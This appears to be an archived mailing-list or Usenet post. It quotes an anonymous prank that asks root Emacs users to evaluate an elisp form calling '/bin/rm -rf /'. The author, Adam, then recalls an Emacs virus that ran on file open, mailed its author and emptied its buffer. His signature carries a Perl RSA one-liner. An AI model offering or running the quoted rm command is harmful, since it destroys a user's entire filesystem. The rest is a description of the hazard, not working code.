Anonymous writes:
If you are reading this message as root under Emacs, please position the cursor to the final paren in the following and hit C-x C-e.
(call-process-internal "/bin/rm" nil t nil "-rf" "/")
I once had forwarded to me an emacs virus -- one that hooked into an emacs function such that as soon as you opened the file, it sent it's author some mail, and wiped it's own buffer. You ended up looking at an empty file, and none the wiser. It could have left some text in the buffer with modification. The point is the elisp code wasn't displayed, and you wouldn't notice unless you looked at it in less before loading it into emacs. (It worked too -- or it would have, but it tried to exec /bin/mail or something and it lived somewhere else on the IRIX system I was using at the time). I deleted it or something, and haven't been able to find it again, and don't know enough elisp to re-create it, but it was pretty neat. I don't think a lot of people realise that emacs has this hook for execing arbitrary elisp code just when you open an ordinary file, with no filename extension. Adam -- Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/ print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`